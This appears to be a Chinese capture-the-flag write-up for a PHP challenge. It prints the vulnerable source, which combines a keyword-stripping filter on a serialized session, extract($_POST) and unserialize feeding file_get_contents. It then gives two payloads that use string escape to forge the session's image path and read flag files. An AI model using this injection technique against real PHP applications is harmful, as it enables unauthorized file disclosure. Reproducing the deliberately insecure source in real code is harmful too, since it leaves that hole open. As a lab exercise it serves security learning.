打开题目,得到源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据提示查看phpinfo
,发现
接着审计代码
extract($_POST);
,允许传递任何参数
$serialize_info = filter(serialize($_SESSION));
,一看就是有问题的,序列化字符串怎么能随便修改
echo file_get_contents(base64_decode($userinfo['img']));
,利用$_SESSION['img']
读取文件
到此其实已经很显然了,post传递参数修改$_SESSION
,利用它的不安全函数filter
修改序列化后的字符串,使得修改后的序列化字符串在反序列化后$_SESSION['img']
的值被控制
构造payload
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocAog";}
得到提示
<?php $flag = 'flag in /d0g3_fllllllag'; ?>
构造payload
_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flag